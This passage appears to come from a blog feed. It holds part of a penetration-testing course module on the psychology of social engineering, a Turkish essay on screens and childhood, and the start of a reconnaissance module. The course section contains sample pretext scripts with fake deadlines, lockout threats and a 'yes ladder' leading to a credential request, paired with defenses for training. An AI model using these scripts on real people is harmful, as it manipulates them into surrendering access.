Research on physical attractiveness has produced concerning findings: people rated as more attractive consistently receive more favorable treatment in employment, legal, and social contexts. Researchers proposing identical scientific papers were evaluated more favorably when using high-attractiveness profile photos than low-attractiveness photos. The "halo effect" — where a positive quality in one dimension (attractiveness, confidence) creates positive assumptions across all dimensions — means that liking based on appearance generates implicit trust based on competence and honesty.

Similarity is an independent driver of liking and compliance. People comply more readily with requests from those who share their background, nationality, alma mater, interests, or even name (research has documented compliance effects from name similarity). Social engineers who discover shared background elements and incorporate them into rapport-building see measurable compliance improvements.

The mirror technique: Mirroring the target's vocabulary, speaking pace, and communication style creates subconscious rapport. This technique is used by professional negotiators, therapists, salespeople, and social engineers because it works — the target perceives similarity and familiarity that is manufactured but psychologically genuine.

Operational application:

Research the target's background and interests before contact. Reference a mutual connection, a shared experience, or a specific piece of their professional work that demonstrates genuine familiarity. "I saw your presentation at the security conference last fall — the zero-trust implementation case study was excellent. That's actually why I wanted to reach out to you specifically for this."

Build rapport before the ask, not simultaneously with it. Liking takes time to establish; rushing to the request undermines the rapport-building.

Organizational defense: Awareness training that explicitly addresses the liking principle — teaching employees to recognize that genuine rapport, shared background, and interpersonal warmth from a caller are reasons for increased rather than decreased scrutiny.

6. Scarcity — The Loss Aversion Trigger

The principle in depth:

Kahneman and Tversky's prospect theory (1979, for which Kahneman later received the Nobel Prize) established one of the most robustly demonstrated findings in behavioral economics: losses loom approximately twice as large as equivalent gains in human psychological experience. The pain of losing $100 is approximately twice as intense as the pleasure of gaining $100. This loss aversion fundamentally shapes how humans respond to scarcity.

Scarcity is effective precisely because it frames situations in terms of potential loss. "Only 3 remaining" or "Offer expires in 15 minutes" creates the psychological experience of an imminent loss — the opportunity will be gone if action is not taken immediately. This experience activates loss aversion, which drives urgent action before careful deliberation can occur.

The temporal dimension of scarcity — urgency — is particularly powerful because it directly compresses the time available for System 2 thinking. If you must act in the next 15 minutes, there is literally insufficient time for careful evaluation. The social engineer who creates artificial urgency is directly attacking the target's ability to think clearly about the request.

Operational application:

"I need to complete this verification within the next fifteen minutes or the maintenance window closes and we'll lose the audit record for your account." The invented 15-minute deadline activates both scarcity (limited time) and loss aversion (losing the audit record).

"This is the last chance to verify before the system automatically locks your account due to the security incident we're investigating." The threat of account lockout is a loss framing — not gaining a secure account, but losing access to an existing one.

Organizational defense: Policies that explicitly prohibit accepting urgency as a reason to bypass security verification. Training employees that urgency is a manipulation signal — legitimate urgent situations have legitimate verification mechanisms that can still be followed under time pressure. Creating organizational "safety valves" for genuinely urgent situations that maintain security while allowing appropriate speed.

4.5.3 Beyond Cialdini — Advanced Influence Mechanics

Cialdini's six principles are foundational, but the full picture of social engineering influence draws on a broader psychological literature.

Fear Appeals

Fear is a primal motivator. Attacks that create fear — of account compromise, of data breach, of legal consequences, of job loss — bypass rational evaluation by activating threat-response systems that prioritize fast action over careful deliberation. "Your account has been compromised" generates immediate anxiety that reduces System 2 engagement. "Failure to comply may result in regulatory action against you personally" combines fear with authority in a potent combination.

Research on fear appeals (particularly Witte's Extended Parallel Process Model) shows that fear appeals are most effective when they create high perceived threat AND high perceived self-efficacy for the recommended response — the target must believe both that the threat is serious and that the recommended action will address it.

Moral Duty and Diffusion of Responsibility

Gragg (2003), studying social engineering psychology, identified "moral duty" as a significant psychological trigger. When a request is framed as a moral obligation — helping a colleague in need, preventing harm to the organization, protecting customer data — targets feel a categorical obligation that is harder to override with rational evaluation.

The inverse — diffusion of responsibility — explains why individuals fail to take protective action when they believe others are responsible. "IT security handles that" or "My manager approved this" creates the belief that someone else is bearing the security responsibility, reducing the individual's sense of obligation to verify.

Curiosity and Information Gaps

George Loewenstein's information-gap theory (1994) describes curiosity as arising from the perception of a gap between what we know and what we want to know. Phishing subject lines that create information gaps — "Did you see what they said about you?" "Unusual activity on your account" "Your document has been shared" — generate curiosity that drives clicks before security evaluation occurs.

This is why phishing emails rarely lead with their request. They lead with a curiosity-inducing hook that drives initial engagement, and only reveal the ask after the target has already taken the first step toward compliance.

Obligation Through Framing — The "Yes Ladder"

The consistency principle, combined with the foot-in-the-door technique, enables a systematic escalation framework sometimes called the "yes ladder." The social engineer gets small yes answers to small questions before graduating to larger requests:

"Are you the person responsible for IT systems in your department?" (Yes — small commitment to identity)
"And you'd want to make sure those systems are secure, right?" (Yes — commitment to value)
"Then you'd agree it's important to verify account status during a security incident?" (Yes — commitment to principle)
"Great. So let's verify your account right now — can you confirm your username?"

Each yes builds commitment to the next yes. The target who has agreed to all the preceding questions faces significant cognitive dissonance in refusing the credential request — it contradicts their expressed identity, values, and principles.

4.5.4 Stacking Principles — Why Combined Attacks Are So Devastating

The MGM Resorts 2023 breach provides the clearest illustration of principle stacking. The Scattered Spider attackers combined:

Authority: Impersonating an employee who was a legitimate member of the organization
Social proof: Dropping the name of the real employee (implying the caller is known to the organization)
Scarcity/urgency: "I'm locked out and need immediate access"
Reciprocity (structural): The IT help desk's entire function is to help — the request aligned perfectly with their role-defined purpose

The combination of these four principles in a single interaction compressed the help desk analyst's decision window to the point where verification procedures were not followed. No single principle alone would have been as effective; their combination was devastating.

Research confirms this multiplicative rather than additive effect. Fogg (2003) developed the Fogg Behavior Model, which describes behavior as the product of motivation, ability, and trigger — all three must be sufficiently high simultaneously for the target behavior to occur. Social engineers who stack multiple principles simultaneously are increasing motivation (multiple emotional drivers) while reducing the cognitive ability to resist (urgency, cognitive load) and providing a clear trigger (the explicit ask). The result is a compliance environment that the target's rational faculties cannot easily resist.

The Arup $25 million deepfake case (2024) stacked even more principles: authority (CFO and executives on video), social proof (multiple "colleagues" appearing on the call), scarcity (private acquisition requiring confidential urgent action), and liking (familiar faces of known colleagues). The combination overwhelmed the target's critical evaluation.

4.5.5 Countermeasures — Building Resistance to Influence

The goal of social engineering awareness training is not to make people suspicious of everything — that would make organizational function impossible. The goal is to create specific protocols and habits that systematically interrupt the heuristic compliance that influence principles exploit.

The Verification Protocol as a Structural Defense:

The single most effective organizational defense is a clear, mandatory, non-negotiable verification protocol for any request involving credentials, access changes, financial transactions, or sensitive information. This protocol must:

Not be bypassable by urgency claims ("This is urgent" does not allow skipping verification)
Not be bypassable by authority claims ("I'm the CEO" still requires verification)
Use an out-of-band channel (call back on a pre-known number, not the number the caller provides)
Be explicitly trained and regularly practiced so it becomes automatic

The "Challenge Culture":

Organizations where employees feel empowered — and indeed obligated — to challenge suspicious requests without social penalty are significantly more resistant to social engineering. This requires explicit leadership messaging ("I want you to challenge even requests that seem to come from me"), clear policy backing ("challenging a request is never a disciplinable offense"), and regular positive reinforcement for appropriate challenge behavior.

Pre-commitment to verification:

Research on pre-commitment devices (Ariely, Loewenstein) shows that decisions made in advance, before the emotional trigger is present, are more rational and more resistant to manipulation. An organization that pre-commits employees to specific verification behaviors ("Always call back on the help desk number, no exceptions") creates behavioral commitments that are harder to override in the moment of a well-crafted attack.

Simulated social engineering exercises:

Regular, authorized phishing simulations and vishing tests provide the most direct form of training — experiential learning from actual susceptibility. Employees who have been caught by a simulated phishing attack are significantly more skeptical of subsequent attempts. The "immunization" effect of experiencing social engineering (in a safe, authorized context) is measurable and durable.

4.6 Module 4 Summary — The Complete Picture of Human-Layer Security

What Module 4 Has Built

Module 4 has established the most important and most underestimated dimension of penetration testing competence: the ability to attack, understand, and defend the human layer of organizational security.

From Section 4.1 — Pretexting and Impersonation:

You learned that pretexting is not improvisation — it is a disciplined, research-intensive process that follows a systematic methodology. A pretext answers five implicit questions that every target unconsciously asks: who are you, why do you need this, do you have authority, is it safe to comply, and what happens if I don't? A pretext that answers all five questions convincingly will produce compliance in most targets most of the time, regardless of their security training.

You learned that impersonation effectiveness is not uniform — different target personas (IT help desk, senior executives, auditors, vendors, new employees) create different psychological dynamics and are appropriate for different attack objectives. Choosing the right impersonation target is as important as building a convincing pretext.

You learned the neuroscience and cognitive psychology that underlies social engineering. System 1 and System 2 thinking, cognitive load effects, stress-induced decision degradation, and emotional state influence on compliance — understanding these mechanisms at a mechanistic level is what separates practitioners who understand social engineering from those who merely know what it is.

From Section 4.2 — Social Engineering Attacks:

You learned phishing at a professional depth — not just what phishing is, but the economics of mass phishing, the personalization mechanics of spear phishing, the organizational compromise of whaling and BEC, the technical infrastructure of phishing campaigns, and the authentication circumvention of AitM attacks with Evilginx2. You understand why phishing remains the most common initial access vector despite decades of awareness campaigns: because it attacks human decision-making, not technical controls.

You learned vishing as the highest-impact real-time social engineering channel. The MGM Resorts case — $100 million in losses from a ten-minute phone call — is the most compelling illustration of vishing's power. You understand caller ID spoofing, the emerging threat of AI voice cloning, and the specific techniques that make vishing calls impossible to distinguish from legitimate communications.

You learned smishing's penetration of a channel (SMS) that carries less established skepticism than email, and its particular relevance to MFA bypass attacks.

You learned USB drop attacks at the hardware level — HID emulation, BadUSB firmware reprogramming, and the physical and psychological mechanics of getting employees to plug in found devices.

You learned watering hole attacks as a supply chain attack methodology — attacking trusted resources that target employees use rather than attacking the organization directly — and the logical extension to full supply chain compromise (SolarWinds, XZ Utils).

You learned the pivot attack model that contextualizes social engineering as an initial access vector rather than an end goal — the bridge between human-layer exploitation and technical post-exploitation.

From Section 4.3 — Physical Attacks:

You learned that physical security is an extension of social engineering — the same principles that make vishing effective also make tailgating effective. The social convention of courtesy (not letting a door slam), the presumption of legitimacy in physical spaces, and the social cost of challenging are the psychological mechanisms that physical attackers exploit.

You learned tailgating and piggybacking at a level of technical and psychological detail that enables both execution in authorized physical penetration tests and design of effective countermeasures.

You learned dumpster diving as an intelligence gathering methodology with a clear legal framework (based on jurisdiction), a systematic execution approach, and specific organizational defenses. The quantity and sensitivity of information typically found in corporate trash is one of the most consistently surprising findings for client organizations.

You learned shoulder surfing as a genuine intelligence collection threat — not just in theoretical terms but with specific execution techniques, optical aids, and effective countermeasures (privacy screens being the most effective single control).

You learned badge cloning at the technical level — understanding the vulnerability of legacy 125kHz RFID technology, the specific attack hardware (Proxmark3, FlipperZero), and the complete exploitation chain from badge reading to physical access.

From Section 4.4 — Social Engineering Tools:

You learned SET as the most comprehensive open-source social engineering platform — its architecture, attack vector categories, Metasploit integration, and specific operational use for phishing, credential harvesting, payload delivery, and malicious media generation.

You learned BeEF as the browser-centric exploitation platform — the hook concept, the command module library, the Pretty Theft attack for credential capture, and the critical use case of transforming XSS vulnerabilities from "medium" findings into "critical" demonstrations of real-world impact.

You learned caller ID spoofing infrastructure — Twilio as the professional standard, commercial services, and the emerging threat of AI voice cloning for personalized vishing attacks.

You learned GoPhish for campaign management and Evilginx2 for MFA-bypassing AitM phishing — the two most important modern additions to the professional phishing toolkit.

From Section 4.5 — Methods of Influence:

You learned Cialdini's six principles not as a list to memorize but as operational mechanisms that you understand at a neurological and behavioral level. You understand why reciprocity creates genuine psychological obligation, why commitment creates identity lock, why social proof triggers conformity, why authority bypasses independent judgment, why liking reduces skepticism, and why scarcity attacks the capacity for deliberate evaluation.

You learned that stacking principles produces multiplicative rather than additive compliance — the most effective attacks combine multiple principles simultaneously, creating a compliance environment that overcomes even trained, security-aware targets.

You learned that countermeasures work not by disabling these psychological mechanisms (impossible) but by creating structural procedures that require conscious, deliberate evaluation where heuristic compliance would otherwise occur.

Module 4 Key Terms

Authority bias — The tendency to comply with requests from perceived authority figures at higher rates than equivalent requests from peers, even without verification of actual authority.

Badge cloning — The process of reading RFID or NFC data from an authorized access control badge and writing it to a writable blank card, creating a functional duplicate.

BeEF (Browser Exploitation Framework) — An open-source framework that hooks target browsers via JavaScript and enables real-time command-and-control of the hooked browser session.

Business Email Compromise (BEC) — A social engineering attack that impersonates executives or vendors via email to authorize fraudulent financial transactions.

Cialdini's Principles — Six influence principles documented by Robert Cialdini: reciprocity, commitment and consistency, social proof, authority, liking, and scarcity.

Clone phishing — A phishing technique that duplicates a legitimate email the target has previously received, replacing links or attachments with malicious versions.

Cognitive dissonance — The psychological discomfort of holding inconsistent beliefs or behaviors, which social engineers exploit through the commitment and consistency principle.

Credential harvesting — The capture of authentication credentials (username and password) through social engineering, fake login pages, or other deceptive means.

Dumpster diving — The practice of searching through discarded materials (trash, recycling) to find sensitive organizational information.

Evilginx2 — An adversary-in-the-middle phishing framework that proxies authentication between the target and legitimate services, capturing session tokens and bypassing MFA.

GoPhish — An open-source phishing campaign management platform providing email tracking, landing page management, and per-user campaign metrics.

HID (Human Interface Device) attack — A USB attack that registers as a keyboard/mouse and executes pre-programmed keystrokes automatically on connection.

Hook (BeEF) — A JavaScript code snippet embedded in a web page that, when loaded in a target's browser, establishes a connection to the BeEF server and enables remote command execution.

Impersonation — Assuming a false identity to build credibility for a social engineering attack.

Influence stacking — The deliberate combination of multiple psychological influence principles simultaneously to create a compliance environment stronger than any single principle alone.

Loss aversion — The psychological property (documented by Kahneman and Tversky) whereby losses loom approximately twice as large as equivalent gains, exploited by urgency and scarcity attacks.

Piggybacking — Gaining unauthorized physical access to a restricted area by following through with an authorized person's knowledge or active assistance.

Pretext — A fabricated scenario that provides a believable reason for a social engineering request.

Proxmark3 — A multi-frequency RFID research tool used in authorized assessments for reading and cloning access control badges.

Quishing — Phishing delivered via QR codes, bypassing email security tools that scan URL text.

Reciprocity — The social norm and psychological tendency to return favors, exploited by social engineers who provide value before making requests.

SET (Social-Engineer Toolkit) — The most comprehensive open-source social engineering penetration testing framework, providing phishing, credential harvesting, payload delivery, and other capabilities.

Shoulder surfing — Direct visual observation of a target's screen, keystrokes, or documents to capture sensitive information.

Smishing — Phishing conducted via SMS text messages.

Social proof — The tendency to use others' behavior as evidence of appropriate action, exploited through false claims that others have complied with a request.

Spear phishing — Targeted phishing using personalized information about the specific target to increase credibility and click rates.

System 1 / System 2 thinking — Kahneman's model of dual-process cognition: System 1 is fast, automatic, and emotional; System 2 is slow, deliberate, and rational. Social engineering exploits System 1 while preventing System 2 from engaging.

Tailgating — Gaining unauthorized physical access to a restricted area by following closely behind an authorized person through a secured entry point, typically without their awareness.

USB drop attack — A physical social engineering attack that places malicious USB devices in locations where targets will find and connect them.

Vishing — Voice phishing — social engineering attacks conducted via telephone calls.

Watering hole attack — An attack that compromises websites or online resources frequently visited by target users, delivering malware or credentials through trusted sources.

Whaling — Spear phishing targeting high-value individuals such as executives, board members, or celebrities.

═══════════════════════════════════════════════════════════
MODULE 4 — SOCIAL ENGINEERING ATTACKS
COMPLETE
═══════════════════════════════════════════════════════════

Çalınan Çocukluk: Sesizce Kaybolan Nesil

Rençber AKMAN — Sun, 02 Aug 2026 12:28:33 +0000

Ekranın Gölgesinde Büyümek: Kaybolan Çocukluğun Anatomisi

Bir zamanlar çocukluk farklı bir şeydi.

Sabah kapıdan çıkan çocuk, akşam yorgun ve toprak içinde dönerdi. Dizleri sıyrık, elleri kir içinde, gözleri parlak. O gün bir şeyler öğrenmişti — ama hiçbir ekran ona öğretmemişti bunu. Bir arkadaşının yüz ifadesini okumayı öğrenmişti. Kavga etmeyi, barışmayı, sırasını beklemeyi, hayal kırıklığını sindirmeyi. Büyüklerine rastladığında duraksıyor, selam veriyordu — bu bir kural değildi, bir his olduğu için yapıyordu. Çünkü karşısındakinin bakışından ne hissettireceğini içgüdüsel olarak biliyordu.

O çocuk artık yok.

Bugün çocuklar farklı bir dünyaya doğuyor. Gözlerini açtıklarında ekranlar var. İlk kelimeleri bazen gerçek bir insana değil, bir videoya yönelik söyleniyor. Beyin henüz şekillenirken, henüz dünyanın dokusunu kavramaya çalışırken, ona milyonlarca renk, ses ve uyaran yağıyor. Ve beyin bunu sindiremiyor. Hazır değil. Hiçbir zaman hazır olamaz.

Beyin Bir İnşaat Alanıdır — Ve Biri Onu Kirletiyor

İnsan beyni doğumla birlikte tamamlanmış bir yapı değildir. Aksine, yaşamın ilk yirmi beş yılı boyunca sürekli inşa halinde olan, deneyimle şekillenen, dokunduğu her şeyden iz alan bir organdır. New York Eyalet Üniversitesi’nden psikiyatri profesörü Dr. Julio Licinio bu pencereyi “kritikom” olarak tanımlıyor ve şunu söylüyor: “Doğumdan 25 yaşına kadar süren kritik bir gelişim penceresi var — bu dönemde beyne işlenenlerin kişinin hayatının geri kalanını belirlediğini.”

Bu pencere açıkken ne oluyor? 10.000 Amerikalı çocuğu iki yıl boyunca izleyen bir araştırma, 9-10 yaş arası çocuklarda yüksek ekran maruziyetinin beyin korteksinde kalıcı incelmeye yol açtığını, hafıza, dikkat ve dürtü kontrolü gibi kritik fonksiyonların zarar gördüğünü ortaya koydu.

Bunlar soyut rakamlar değil. Bunlar bir çocuğun ileride ne kadar derin düşünebileceğini, ne kadar sabır gösterebileceğini, bir insanın yüzünü ne kadar okuyabileceğini belirleyen veriler.

Patricia Kuhl’un 4.000’den fazla bebek üzerinde yürüttüğü araştırmalar ise daha da çarpıcı bir gerçeği gözler önüne seriyor: Bebeklerin dil ve motor becerileri ekranlardan değil, yalnızca gerçek insan etkileşimi ve fiziksel çevre deneyimleri aracılığıyla gelişiyor. Yani bir bebek saatlerce eğitici video izleyebilir — ve bundan hiçbir şey öğrenemez. Öğrenme, gözlerin gözlerle buluşmasından doğar. Sesin sesin üzerine binmesinden. Dokunuştan. Gerçeklikten.

Sosyal Zekânın Ölümü: İnsan Okumayı Unutan Nesil

Eski nesil çocuklar — teknolojisiz büyüyenler — insanlarla iç içeydi. Her gün onlarca farklı yüz ifadesini, ses tonunu, beden dilini işliyorlardı. Bu bir ders değildi; bu hayatın kendisiydi. Ve bu sayede empatinin temelleri atılıyordu. Birinin üzgün olduğunu kelimeye gerek kalmadan anlıyorlardı. Birinin sesindeki kırılganlığı duyabiliyorlardı.

Bugün büyüyen çocuklar ise sosyal etkileşimi büyük ölçüde ekran üzerinden öğreniyor. Ama ekran yüzü düzlüyor. Sesi tek boyuta indirgiyor. Beden dilini yok ediyor. Bir emoji ile ifade edilen duygu, gerçek bir yüz ifadesinin taşıdığı bilginin binde biridir. Çocuk bunu öğreniyor — ama gerçeği öğrenemeden.

Sonuç: Karşısındaki insanın ne hissettiğini okuyamayan bir nesil. Empati kurmayı değil, reaksiyon vermeyi öğrenen bir nesil. Derin bir konuşma yerine hızlı bir yorum atmayı tercih eden bir nesil.

Ve işte burada filozofların yüzyıllardır uyardığı şey gerçek oluyor: İnsan, insanla insan olur. İnsanı ekrandan öğrenen çocuk ise yarım kalır.

Sosyal Medyanın Kurgusal Gerçekliği: Mutlu Karelerin Arkasındaki Yıkım

Sosyal medya bir pencere değildir. Bir ayna değildir. Sosyal medya, seçilmiş, filtrelenmiş, kusursuzlaştırılmış bir kurgu sahnesidir.

Bir genç her gün yüzlerce “mükemmel” an görüyor. Kusursuz bedenler, kusursuz tatiller, kusursuz ilişkiler. Bu anlara bakarken kendi hayatına bakıyor — gerçek hayatına. Sabah kalktığında dağınık saçlarına, sıradan odasına, monoton gününe. Ve içinde bir şey kırılıyor.

Bu kırılma sessiz başlar. Önce hafif bir yetersizlik hissi. Sonra kronik bir mutsuzluk. Sonra kimlik krizi. San Diego Eyalet Üniversitesi’nden psikoloji profesörü Jean Twenge, ABD’li gençler arasında artan depresyon oranlarını araştırdığında tek ortak paydanın sosyal medya ve akıllı telefonlar olduğunu gördü.

Ama asıl tehlike depresyonun ötesinde. Asıl tehlike şu: Bu çocuklar gerçeklikle bağlarını kaybediyor. Neyin gerçek neyin kurgu olduğunu ayırt edemez hale geliyorlar. Kendilerini başkalarının kurgusuna göre ölçtükçe, kendi gerçekliklerinden uzaklaşıyorlar.

Platon mağara alegorisinde insanların duvardaki gölgeleri gerçek sanmasından bahseder. Sosyal medya çağında bu alegori somut hale geldi. Çocuklar gölgelere bakarak büyüyor — ve asıl ışığı hiç görmüyor.

Düşünmenin Ölümü: Sorgulama Yetisinin Sessiz Kaybı

Felsefe bir lükstür diye düşünülür. Oysa felsefe, bir çocuğun “neden?” diye sormasıyla başlar.

O çocuk sormayı bıraktığında ne olur?

Bugün büyüyen çocuklar bilgiye anında ulaşıyor. Aklına bir soru geldiği an cevabı orada. Bu muazzam bir imkân gibi görünüyor — ama aynı zamanda düşünme kasını köreltiyor. Çünkü düşünmek bir süreçtir. Soruyu içinde çevirmek, farklı açılardan bakmak, yanıt bulamazken o rahatsızlığa katlanmak — bunların hepsi zihinsel bir egzersizdir. Bu egzersiz yapılmazsa kas zayıflar.

Bunun yanına bir şey daha ekleyin: Sosyal medyanın ürettiği içerik giderek daha kısa, daha hızlı, daha yüzeysel hale geliyor. Dikkat süresi saniyelerle ölçülüyor. Derinlikli bir düşünce, algoritmanın ilgisini çekmiyor. Yüzeysel, çarpıcı, anlık içerik öne çıkıyor. Ve çocuklar bunu yutarak büyüyor.

Sonuç: Uzun bir metni okuyamayan, bir fikri zihninde uzun süre tutamayan, bir sorunu birden fazla açıdan ele alamayan bireyler. Düşünen değil, tüketen bireyler.

Saygının Erimesi: Sınırlar Ortadan Kalktığında

Bir nesil önce küçük bir hakaret bile büyük bir şeydi. Büyüklere karşı ses yükseltmek düşünülemezdi. Bir tartışmada “saçmalıyorsun” demek bile sınır ihlaliydi.

Bugün bir çocuk sosyal medyaya girdiğinde neyle karşılaşıyor? Türkiye’de çocukların internet kullanım oranı 2024 yılında yüzde 91,3’e ulaştı. Bu çocukların büyük çoğunluğu, yaşlarına hiç uygun olmayan içeriklere, dile getirilemeyecek hakaretlere, normalleştirilmiş saldırganlığa maruz kalıyor. Günde saatlerce bu ortamda gezinen bir çocuğun sınır anlayışı kaçınılmaz olarak erozyona uğruyor.

Ama daha derini var. Sosyal medya anonim bir cesaret yaratıyor. İnsanlar yüz yüze hiç söyleyemeyecekleri şeyleri ekran arkasından rahatlıkla söylüyor. Çocuk bunu görüyor, bunu öğreniyor, bunu içselleştiriyor. Ve gerçek hayatta da bu sınırsızlığı taşıyor.

Bir toplumun değerleri kuşaktan kuşağa aktarılır — ama yalnızca aktaran eller sağlamsa. Bugün o eller ekrana teslim edilmiş durumda.

Kültürün Silinmesi: Köksüz Büyümek

Her toplumun çocukları, o toplumun hafızasını taşır. Masallar, türküler, gelenekler, ritüeller — bunlar süsleme değildir. Bunlar bir çocuğa “sen kimsin, nereden geliyorsun, nereye aitsin” diye fısıldayan şeylerdir. Kimlik bu seslerden doğar.

Bugün o sesler kısılıyor.

Çocuklar küresel bir algoritmaya teslim edilmiş durumda. Algoritma coğrafya tanımıyor, kültür tanımıyor, dil tanımıyor. Herkese aynı içeriği sunuyor. Ve bu içerik içinde büyüyen çocuk, kendi kültüründen, kendi dilinin inceliklerinden, kendi tarihinin derinliğinden kopuyor.

Köksüz bir ağaç ayakta duramaz. Köksüz büyüyen bir çocuk ise kim olduğunu bilmeden hayata atılıyor.

Duyarsızlığın Normalleşmesi: Her Şeye Alıştırılmak

İnsan zihni tekrar ettiği şeye alışır. Bu bir savunma mekanizmasıdır. Ama bu mekanizma, yanlış şeylere tekrar tekrar maruz bırakıldığında yıkıcı hale gelir.

Bugün bir çocuk sosyal medyada şiddeti, hakareti, acıyı, ölümü, trajedileri — hepsini günlük içerik olarak tüketiyor. Ve beyin buna alışıyor. Duyarlılık körleşiyor. Empati kapısı kapanıyor. Bir felaketi gördüğünde içi sızlamıyor çünkü daha önce defalarca benzerini görmüş ve beyin onu “normal” kategorisine koymuş.

Bu sadece bireysel bir trajedi değildir. Bu toplumsal bir felakettir. Birbirine duyarsız insanlardan oluşan bir toplum, insanlığından bir şeyler kaybetmiş bir toplumdur.

Peki Ne Yapmalı?

Teknoloji geri sarılamaz. Ekranlar hayatımızdan çıkmayacak. Ama teslim olmak da kader değildir.

Aileler için: En güçlü araç, hâlâ sizsiniz. Uzmanlar, ergenliğin bugün 9 yaşında başlayıp 30 yaşına kadar sürebildiğine dikkat çekiyor — yani müdahale için pencere hem erken hem geniş. Ekranı tamamen yasaklamak değil, onu bilinçli sınırlamak gerekiyor. Ama bunun da ötesinde: Çocuğunuzla konuşun. Gerçekten konuşun. Masa başında telefonsuz yemek yiyin. Kitap okuyun. Dışarı çıkın. Bu sıradan görünen şeyler, aslında çocuğun zihin yapısını inşa eden tuğlalardır.

Bireyler için: Sosyal medyayı bir ayna olarak kullandığınız her an kendinizden bir şeyler yitiriyorsunuz. Tükettiğiniz içeriğe dikkat edin — beyin yediğiniz şeyden yapılır, aynı şekilde izlediğiniz şeyden de yapılır. Zaman zaman tamamen çevrimdışı olun. Sessizlikten kaçmayın — düşünce sessizlikte doğar.

Toplum olarak: Bu bir eğitim meselesidir, siyaset meselesidir, kültür meselesidir. Medya okuryazarlığı zorunlu müfredata girmeli. Çocukların algoritmanın kurbanı olmadan önce onun nasıl çalıştığını anlaması gerekiyor. Eleştirel düşünce bir seçmeli ders değil, her dersin temeli olmalı.

Son Söz

Bir toplumun geleceği, çocuklarının zihinlerinde şekillenir.

O zihinleri algoritmalara, şiddete, yüzeyselliğe, sahte mutluluk görüntülerine teslim ettiğimizde sadece bir nesli değil, o neslin inşa edeceği geleceği de teslim etmiş oluyoruz.

Ama her şey hâlâ mümkün. Bir çocuğun gözlerinin içine bakıp gerçekten dinlemek mümkün. Onu sokağa çıkarmak, toprakla buluşturmak, sıkılmaya bırakmak mümkün. Ve sıkılan çocuk düşünmeye başlar — çünkü başka çaresi kalmaz.

İşte o an, kayıp olan şey geri döner.

Merak.

Dünyanın güzelliği tek renkten gelmez.

Senin kültürün güzel — ama o güzellik yalnızca senin kültürünün var olmasından değil, başka kültürlerin de var olmasından doğar. Tıpkı gençliğin güzelliğinin ancak yaşlılığın varlığıyla anlam kazanması gibi. Zıtlık olmadan güzellik olmaz. Fark olmadan anlam olmaz.

Işık karanlığı bilmeden ışık değildir.

Renk, yanındaki rengi bilmeden soluktur.

Ve sen, başkasının farklılığına tahammül ettiğinde değil — o farklılığı var olduğu için şükrettiğinde gerçekten anlıyorsun bunu.

Çünkü olmak için başkasına ihtiyacın var. Her zaman vardı.

İnsanlık binlerce yıl farklı kaldı. Farklı diller, farklı ritüeller, farklı şarkılar, farklı acılar, farklı sevinçler. Bu zenginlikti. Bu insanlığın renk paleti idi.

Ve sonunda bir birleşme geldi.

Ama bu birleşme filozofların hayal ettiği gibi olmadı. Bilgelikte birleşme değildi. Sevgide birleşme değildi. Merakta, sanatta, insanlığın ortak derinliğinde birleşme değildi.

Algoritma içinde birleştik.

Aynı dans trendleri, aynı sesler, aynı şakalar, aynı öfkeler, aynı dikkat süreleri. Tokyo’daki çocuk ile İstanbul’daki çocuk aynı videoyu izliyor, aynı sese gülüyor, aynı içeriği tüketiyor. Yüzeyde bu birlik gibi görünüyor.

Ama bu birlik değil — bu tekdüzelik.

Birlik farklılıkların bir arada var olmasıdır. Tekdüzelik ise farklılıkların silinmesidir.

Kültürler birbirini tanıyarak zenginleşmek yerine, birbirini silip aynılaşarak yoksullaşıyor. Ve geride kalan ortak kültür — insanlığın en derin birikiminden değil, algoritmanın en çok tıklanan içeriğinden damıtılmış bir şey.

Barış bu değil. Birlik bu değil.

Bu, renklerin tek tek söndüğü ve geride gri bir düzlük kaldığı bir tablodur.

Module 3: Information Gathering and Vulnerability Scanning

Rençber AKMAN — Sat, 01 Aug 2026 12:20:25 +0000

CompTIA PenTest+ / Ethical Hacking Certification Series

Professional Reference Guide — GitHub Edition

Covers: Passive Reconnaissance · OSINT · DNS · Social Media · Cryptographic Analysis · Shodan

3.0 Introduction
3.1 Performing Passive Reconnaissance
- 3.1.1 Overview
- 3.1.2 Active Reconnaissance vs. Passive Reconnaissance
- 3.1.3 The OSINT Methodology — How Professionals Think
- 3.1.4 OSINT Tools — The Complete Professional Arsenal
- 3.1.5 DNS Lookups — Deep Dive
- 3.1.6 DNS Reconnaissance — Advanced Techniques
- 3.1.7 Identification of Technical and Administrative Contacts
- 3.1.8 WHOIS Intelligence — Extracting Maximum Value
- 3.1.9 DNS Lookups — Lab-Level Practical Reference
- 3.1.10 Cloud vs. Self-Hosted Applications and Related Subdomains
- 3.1.11 Social Media Scraping
- 3.1.12 Employee Intelligence Gathering
- 3.1.13 Cryptographic Flaws
- 3.1.14 Finding Information from SSL Certificates
- 3.1.15 Company Reputation and Security Posture
- 3.1.16 File Metadata
- 3.1.17 Web Archiving, Caching, and Public Code Repositories
- 3.1.18 Finding Out About the Organization — Aggregation Techniques
- 3.1.19 Advanced Searches — Google Dorking and Beyond
- 3.1.20 Open-Source Intelligence (OSINT) Gathering — Frameworks and Automation
- 3.1.21 Shodan — The Search Engine for Everything Connected
- 3.1.22 Breach Data Intelligence — Leaked Credentials and Exposure Monitoring

3.0 Introduction

Module Overview: Information Gathering and Vulnerability Scanning

Module Objective: Perform information gathering and vulnerability scanning activities at a professional, senior-level standard.

Before a single exploit is launched, before a single payload is crafted, every professional penetration tester invests significant time in a discipline that separates competent practitioners from exceptional ones: information gathering. The reconnaissance phase is the intelligence foundation upon which the entire attack strategy is built. The quality of your reconnaissance directly determines the quality of your attack.

Why This Module is the Most Critical in the Entire Penetration Testing Process

Consider the following reality: a skilled penetration tester with 10 hours of thorough reconnaissance and 2 hours of exploitation will consistently outperform a tester with 1 hour of reconnaissance and 11 hours of exploitation. This is because:

Attack surface knowledge — You cannot attack what you do not know exists
Targeted exploitation — Knowing specific versions, technologies, and configurations enables precise attack selection
Stealth — Passive reconnaissance leaves zero traces in target logs
Social engineering precision — Detailed personnel and organizational intelligence enables highly credible pretexts
Scope awareness — Thorough OSINT reveals assets the client may not even know they have

The Reconnaissance-Attack Continuum

PASSIVE RECON → ACTIVE RECON → SCANNING → ENUMERATION → EXPLOITATION → POST-EXPLOITATION
     (This Module Section 3.1)  (Section 3.2)  (Sections 3.3/3.4)

Passive Reconnaissance is the first and most foundational phase. It involves gathering intelligence about a target using only publicly available information sources, without making any direct contact with the target's systems. The target never knows you are collecting this information.

Active Reconnaissance follows and involves directly interacting with target systems — sending probes, queries, and packets — to enumerate live systems, open ports, and services.

